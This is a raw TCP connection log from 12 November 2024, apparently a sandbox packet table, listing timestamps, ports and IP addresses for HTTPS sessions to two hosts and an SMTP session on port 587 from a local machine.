Nov 12, 2024 15:55:03.356726885 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356731892 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356751919 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356756926 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356779099 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356784105 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.356808901 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.356832027 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.357106924 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.357121944 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.357158899 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.357165098 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.357197046 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.357423067 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.357438087 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.357462883 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.357467890 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.357491016 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.357505083 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.358092070 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.358112097 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.358134985 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.358139992 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.358166933 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.358181953 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.358448029 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.358460903 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.358484983 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.358491898 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.358514071 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.358529091 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.359215021 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.359229088 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.359276056 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.359282970 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.359318972 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360109091 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360122919 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360172033 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360177994 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360218048 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360419035 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360431910 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360466003 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360474110 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360495090 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360521078 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360586882 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360600948 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360641003 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360647917 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360682011 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360846996 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360865116 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360896111 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360902071 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.360925913 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.360939980 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.361546993 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.361565113 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.361618042 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.361624002 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.361653090 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.361768961 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.361783028 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.361849070 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.361856937 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.361906052 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.362344027 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.362358093 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.362407923 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.362416029 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.362463951 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.362798929 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.362842083 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.362852097 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.362859011 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.362884045 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.362898111 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.363228083 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.363241911 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.363265991 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.363270998 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.363297939 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.363318920 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.462730885 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.462760925 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.462815046 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.462851048 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.462888956 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.462888956 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.464342117 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.464356899 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.464396000 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.464411974 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.464426041 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.464445114 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.464845896 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.464860916 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.464909077 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.464920044 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.464953899 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.465239048 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.465254068 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.465298891 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.465306997 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.465342045 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.466202974 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.466227055 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.466270924 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.466281891 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.466320038 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.466552973 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.466567039 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.466608047 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.466615915 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.466650009 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.470180035 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.470206022 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.470247984 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.470263958 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.470278978 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.470298052 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.470535994 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.470550060 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.470594883 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.470604897 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.470638990 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.470988989 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471003056 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471035957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471046925 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471062899 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471079111 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471345901 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471363068 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471400023 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471409082 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471440077 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471456051 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471805096 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471820116 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471867085 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.471874952 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.471910000 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.472253084 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.472266912 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.472313881 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.472321987 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.472357988 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.472496986 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.472512960 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.472552061 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.472558022 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.472599983 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.473006964 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473021030 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473071098 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.473078966 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473113060 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.473170042 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473184109 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473226070 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.473232985 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473262072 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.473714113 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473728895 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473773956 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.473781109 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.473814011 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.474170923 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.474184990 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.474217892 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.474225044 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.474258900 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476116896 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476133108 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476176023 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476190090 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476224899 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476233006 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476247072 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476281881 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476289034 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476320028 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476366997 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476382971 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476408005 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476413965 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476428986 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476443052 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476448059 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476459026 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476490974 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476490021 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476501942 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476531982 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476556063 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476568937 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476618052 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476624966 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476659060 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.476938009 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476952076 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.476994038 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.477001905 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.477035046 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.477382898 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.477397919 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.477432966 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.477440119 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.477475882 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478013992 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478033066 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478075981 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478089094 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478125095 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478213072 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478226900 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478274107 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478281021 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478317976 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478650093 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478671074 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478696108 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478705883 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.478719950 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.478733063 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.578474998 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.578505039 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.578583002 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.578612089 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.578634024 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.578655958 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.578741074 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.578762054 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.578811884 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.578819990 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.578862906 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.580391884 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.580410004 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.580471039 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.580481052 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.580518961 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.580817938 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.580832005 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.580882072 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.580892086 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.580930948 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.581734896 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.581749916 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.581820965 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.581830025 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.581871033 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.581880093 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.581928015 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.581934929 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.581954956 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.581974983 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.582003117 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.584209919 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.584224939 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.584237099 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.584243059 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:09.856647015 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:09.856700897 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:09.856776953 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:09.869324923 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:09.869349003 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.493155956 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.493240118 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:10.495325089 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:10.495331049 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.495564938 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.570662022 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:10.615330935 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.757848024 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.757951975 CET	443	49712	104.26.13.205	192.168.2.6
Nov 12, 2024 15:55:10.758063078 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:10.764672995 CET	49712	443	192.168.2.6	104.26.13.205
Nov 12, 2024 15:55:12.932401896 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:12.937390089 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:12.937474966 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:14.193897009 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.194489002 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.194719076 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.194804907 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:14.194806099 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:14.322037935 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:14.326778889 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.566231012 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.566481113 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:14.571322918 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.810122013 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:14.810873985 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:14.815681934 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.942565918 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.942579985 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.942599058 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.942609072 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.942645073 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:15.942672014 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:15.942851067 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.942930937 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:15.943298101 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.943346977 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:15.944103003 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:15.947734118 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:15.976074934 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:15.980865002 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.241117001 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.244034052 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:16.248933077 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.488195896 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.489393950 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:16.494230032 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.733599901 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.735167980 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:16.740210056 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.981914997 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:16.994630098 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:16.999541998 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.145656109 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.145931005 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.146645069 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.146694899 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.147558928 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.147609949 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.149364948 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.149425030 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.154489994 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.398766994 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.398996115 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.403922081 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.642307997 CET	587	49714	51.195.88.199	192.168.2.6
Nov 12, 2024 15:55:18.642998934 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.643075943 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.643099070 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.643106937 CET	49714	587	192.168.2.6	51.195.88.199
Nov 12, 2024 15:55:18.647840023 CET	587	49714	51.195.88.199	192.168.2.6
